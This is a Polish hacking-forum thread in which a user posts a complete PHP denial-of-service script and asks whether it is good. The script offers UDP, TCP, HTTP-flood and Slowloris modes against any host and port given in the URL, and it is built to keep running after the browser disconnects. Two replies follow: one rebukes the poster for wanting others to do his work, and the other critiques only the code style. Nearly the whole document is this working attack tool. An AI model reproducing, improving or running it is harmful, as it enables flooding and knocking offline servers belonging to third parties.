Kodzik Czy dobry?

W

Wasilij Iwanowicz

Użytkownik
Dołączył
Kwiecień 14, 2012
Posty
4
Witam. Mam tu kodzik na atak Dos dobry?

Kod: 
<?php

/*
        Coded by tsdek @ tsdek.xaa.pl
*/


        $type = $_GET['type'];
        $host = $_GET['host'];
        $time = $_GET['time'];
        $port = $_GET['port'];
        $page = $_GET['page'];
    $myna = $_SERVER[PHP_SELF];

        $page  = '<html>' . "\n";
        $page .= '      <head>' . "\n";
        $page .= '              <style type="text/css">' . "\n";
        $page .= '                      #body {' . "\n";
        $page .= '                              background-image:       url(\'http://img15.imageshack.us/img15/7472/testqjv.png\');' . "\n";
        $page .= '                              font-family:            Verdana;' . "\n";
        $page .= '                              color:          #1b84ec;' . "\n";
        $page .= '                              font-size:              13px;' . "\n";
        $page .= '                              text-align:             center' . "\n";
        $page .= '                      }' . "\n";
        $page .= '                      #logo {' . "\n";
        $page .= '                              width:          100%; ' . "\n";
        $page .= '                              height:                 200px; ' . "\n";
        $page .= '                              background-image:       url(\'http://img215.imageshack.us/img215/5763/logobytsdek.png\'); ' . "\n";
        $page .= '                              background-repeat:      no-repeat; ' . "\n";
        $page .= '                              background-position: center;"' . "\n";
        $page .= '                      }' . "\n";
        $page .= '                      .text {' . "\n";
        $page .= '                              font-family:            Verdana;' . "\n";
        $page .= '                              color:          #1b84ec;' . "\n";
        $page .= '                              font-size:              13px;' . "\n";
        $page .= '                              margin:         auto' . "\n";
        $page .= '                      }' . "\n";
        $page .= '              </style>' . "\n";
        $page .= '      </head>' . "\n";
        $page .= '      <body id="body">' . "\n";
        $page .= '              <br /><br />' . "\n";
        $page .= '              <a href="' . $myna . '"><div id="logo"></div></a>' . "\n";
        $page .= '              <br /><br />' . "\n";
        $page .= '              <div style="width: 40%; border: 1px solid; boder-color: #1b84ec; background-color: #191919; margin: auto"><br />' . "\n";

        if ( isset( $_GET['type'] ) )
                {
                if ( $type == "UDP" )
                        {
                        if ( $_GET['host'] != '' &&  $_GET['time'] != '' )
                                {
                                $page .= UDP_FLOOD( $host , $time );
                                }
                        else
                                {
                                $page .= '              <b>UDP Flood</b><br /><br />' . "\n";
                                $page .= '              <form action="' . $myna . '" method="get">' . "\n";
                                $page .= '                      <table class="text">' . "\n";
                                $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
                                $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
                                $page .= '                      </table>' . "\n";
                                $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
                                $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
                                $page .= '              </form>' . "\n";
                                }
                        }
                elseif ( $type == "TCP" )
                        {
                        if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['port'] != '' )
                                {
                                $page .= TCP_FLOOD ( $host , $port , $time );
                                }
                        else
                                {
                                $page .= '              <b>TCP Flood</b><br /><br />' . "\n";
                                $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
                                $page .= '                      <table class="text">' . "\n";
                                $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
                                $page .= '                      <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
                                $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
                                $page .= '                      </table>' . "\n";
                                $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
                                $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
                                $page .= '              </form>' . "\n";
                                }
                        }
                elseif ( $type == "HTTP" )
                        {
                        if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['page'] != '' )
                                {
                                $page .= HTTP_FLOOD ( $host , $page , $time );
                                }
                        else
                                {
                                $page .= '              <b>HTTP Flood</b><br /><br />' . "\n";
                                $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
                                $page .= '                      <table class="text">' . "\n";
                                $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
                                $page .= '                      <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
                                $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
                                $page .= '                      </table>' . "\n";
                                $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
                                $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
                                $page .= '              </form>' . "\n";
                                }
                        }
                elseif ( $type == "SLOWLORIS" )
                        {
                        if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['page'] != '' )
                                {
                                $page .= SLOWLORIS ( $host , $page , $time );
                                }
                        else
                                {
                                $page .= '              <b>Slowloris</b><br /><br />' . "\n";
                                $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
                                $page .= '                      <table class="text">' . "\n";
                                $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
                                $page .= '                      <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
                                $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
                                $page .= '                      </table>' . "\n";
                                $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
                                $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
                                $page .= '              </form>' . "\n";
                                }
                        }
                else
                        {
                        $page .= '              <b>Select Flood-Type:</b><br /><br />' . "\n";
                        $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
                        $page .= '                      <table class="text">' . "\n";
                        $page .= '                      <tr><td><input type="radio" name="type" value="UDP">UDP Flood</td></tr>' . "\n";
                        $page .= '                      <tr><td><input type="radio" name="type" value="TCP">TCP Flood</td></tr>' . "\n";
                        $page .= '                      <tr><td><input type="radio" name="type" value="HTTP">HTTP Flood</td></tr>' . "\n";
                        $page .= '                      <tr><td><input type="radio" name="type" value="SLOWLORIS">Slowloris</td></tr>' . "\n";
                        $page .= '                      </table>' . "\n";
                        $page .= '                      <br /><input type="submit" style="width: 20%" value="Next >" />' . "\n";
                        $page .= '              </form>' . "\n";
                        }
                }
        else
                {
                $page .= '              <b>Select Flood-Type:</b><br /><br />' . "\n";
                $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
                $page .= '                      <table class="text">' . "\n";
                $page .= '                      <tr><td><input type="radio" name="type" value="UDP">UDP Flood</td></tr>' . "\n";
                $page .= '                      <tr><td><input type="radio" name="type" value="TCP">TCP Flood</td></tr>' . "\n";
                $page .= '                      <tr><td><input type="radio" name="type" value="HTTP">HTTP Flood</td></tr>' . "\n";
                $page .= '                      <tr><td><input type="radio" name="type" value="SLOWLORIS">Slowloris</td></tr>' . "\n";
                $page .= '                      </table>' . "\n";
                $page .= '                      <br /><input type="submit" style="width: 20%" value="Next >" />' . "\n";
                $page .= '              </form>' . "\n";
                }

        $page .= '              <br /></div>' . "\n";
        $page .= '      </body>' . "\n";
        $page .= '</html>' . "\n";

        print$page;

/////////////////////////////////////////////////////////////////////////////////////////////////////////
// UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////

        function UDP_Flood( $host , $length )
                {
                ignore_user_abort(TRUE);
                set_time_limit(0);

                $max_time = time() + $length;

                $packet = "";
                $packets = 0;

                while( strlen ( $packet ) < 65000 )
                        {
                        $packet .= Chr( 255 );
                        }

                while( 1 )
                        {
                        if ( time() > $max_time )
                                {
                                break;
                                }

                        $rand = rand( 1 , 65535 );
                        @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
                        if( $fp )
                                {
                                fwrite( $fp , $packet );
                                fclose( $fp );
                                $packets++;
                                }
                        }

                if ( $packets == 0 )
                        {
                        $rtn  = '<b>UDP Flood</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '</table>' . "\n";
                        $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
                        }
                else
                        {
                        $rtn  = '<b>UDP Flood</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
                        $rtn .= '</table>' . "\n";
                        }

                return$rtn;
                }

/////////////////////////////////////////////////////////////////////////////////////////////////////////
// TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////

        function TCP_Flood( $host , $port , $length )
                {
                ignore_user_abort(TRUE);
                set_time_limit(0);

                $max_time = time() + $length;

                $packet = "";
                $packets = 0;

                while( strlen ( $packet ) < 65000 )
                        {
                        $packet .= Chr( 255 );
                        }

                @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );

                while( 1 )
                        {
                        if ( time() > $max_time )
                                {
                                break;
                                }

                        if( $fp )
                                {
                                fwrite( $fp , $packet );
                                fclose( $fp );
                                $packets++;
                                }
                        else
                                {
                                @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
                                }
                        }

                if ( $packets == 0 )
                        {
                        $rtn  = '<b>TCP Flood</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '</table>' . "\n";
                        $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
                        }
                else
                        {
                        $rtn  = '<b>TCP Flood</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
                        $rtn .= '</table>' . "\n";
                        }

                return$rtn;
                }

/////////////////////////////////////////////////////////////////////////////////////////////////////////
// HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////

        function HTTP_Flood( $host , $page , $length )
                {
                ignore_user_abort(TRUE);
                set_time_limit(0);

                if ( $page == '' )
                        {
                        $page = '/';
                        }

                $max_time = time() + $length;

                $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
                $packet .= 'Host: ' . $host . "\r\n";
                $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
                $packet .= 'Keep-alive: 300' . "\r\n";
                $packet .= 'Connection: keep-alive' . "\r\n\r\n";

                @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
                while( 1 )
                        {
                        if ( time() > $max_time )
                                {
                                break;
                                }

                        if( $fp )
                                {
                                fwrite( $fp , $packet );
                                fclose( $fp );
                                $packets++;
                                }
                        else
                                {
                                @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
                                }
                        }

                if ( $packets == 0 )
                        {
                        $rtn  = '<b>HTTP Flood</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '</table>' . "\n";
                        $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
                        }
                else
                        {
                        $rtn  = '<b>HTTP Flood</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
                        $rtn .= '</table>' . "\n";
                        }

                return$rtn;
                }

/////////////////////////////////////////////////////////////////////////////////////////////////////////
// SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////

        function SLOWLORIS( $host , $page , $length )
                {
                ignore_user_abort(TRUE);
                set_time_limit(0);

                if ( $page == '' )
                        {
                        $page = '/';
                        }

                $max_time = time() + $length;

                $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
                $packet .= 'Host: ' . $host . "\r\n";
                $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
                $packet .= 'Content-length: 42' . "\r\n\r\n";

                @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
                while( 1 )
                        {
                        if ( time() > $max_time )
                                {
                                break;
                                }

                        if( $fp )
                                {
                                fwrite( $fp , $packet );
                                fclose( $fp );
                                $packets++;
                                }
                        else
                                {
                                @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
                                }
                        }

                if ( $packets == 0 )
                        {
                        $rtn  = '<b>Slowloris</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '</table>' . "\n";
                        $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
                        }
                else
                        {
                        $rtn  = '<b>Slowloris</b><br /><br />' . "\n";
                        $rtn .= '<table class="text">' . "\n";
                        $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
                        $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
                        $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
                        $rtn .= '</table>' . "\n";
                        }

                return$rtn;
                }
?>
 
Vandervir

Vandervir

Były Administrator
Dołączył
Grudzień 19, 2005
Posty
474
Wiedza najlepiej smakuje jak się ją samemu zdobywa. Jaki miałbyś zysk jeśli nie doszedłbyś sam do rozwiązania? Chcesz po prostu wykorzystać kogoś, nieprawdaż?
 
K

kkowalskipl

Użytkownik
Dołączył
Maj 17, 2011
Posty
19
Czy ja wiem ;). Zero obiektowości, fsockopen powinien być połączony z cURL, struktury powinny być oddzielone ;). Za elegancki to ten kod nie jest ;-] Można się pogubić. Jak to sie mówi spagetti codee ;>.
 
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